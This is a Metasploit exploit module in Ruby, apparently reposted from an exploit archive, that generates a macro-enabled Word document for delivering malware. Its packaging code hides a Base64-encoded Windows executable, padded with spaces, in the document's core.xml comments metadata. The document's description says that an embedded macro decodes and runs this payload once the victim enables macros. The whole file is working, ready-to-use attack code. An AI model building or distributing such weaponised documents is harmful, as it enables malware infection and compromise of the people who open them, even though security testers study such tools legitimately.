Microsoft Office Word Malicious Macro Execution Exploit

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Office Word Malicious Macro Execution",
      'Description'    => %q{
        This module generates a macro-enabled Microsoft Office Word document. The comments
        metadata in the data is injected with a Base64 encoded payload, which will be
        decoded by the macro and execute as a Windows executable.

        For a successful attack, the victim is required to manually enable macro execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          ['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Microsoft Office Word', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 10 2012",
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new("BODY", [false, 'The message for the document body', '']),
      OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
    ], self.class)
  end


  def on_file_read(short_fname, full_fname)
    buf = File.read(full_fname)

    case short_fname
    when /document\.xml/
      buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
    when /core\.xml/
      b64_payload = ' ' * 55
      b64_payload << Rex::Text.encode_base64(generate_payload_exe)
      buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
    end

    # The original filename of __rels is actually ".rels".
    # But for some reason if that's our original filename, it won't be included
    # in the archive. So this hacks around that.
    case short_fname
    when /__rels/
      short_fname.gsub!(/\_\_rels/, '.rels')
    end

    yield short_fname, buf
  end


  def package_docm(path)
    zip = Rex::Zip::Archive.new

    Dir["#{path}/**/**"].each do |file|
      p = file.sub(path+'/','')

      if File.directory?(file)
        print_status("Packaging directory: #{file}")
        zip.add_file(p)
      else
        on_file_read(p, file) do |fname, buf|
          print_status("Packaging file: #{fname}")
          zip.add_file(fname, buf)
        end
      end
    end

    zip.pack
  end


  def exploit
    print_status('Generating our docm file...')
    path  = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
    docm = package_docm(path)
    file_create(docm)
    super
  end

end

#  0day.today [2018-01-01]  #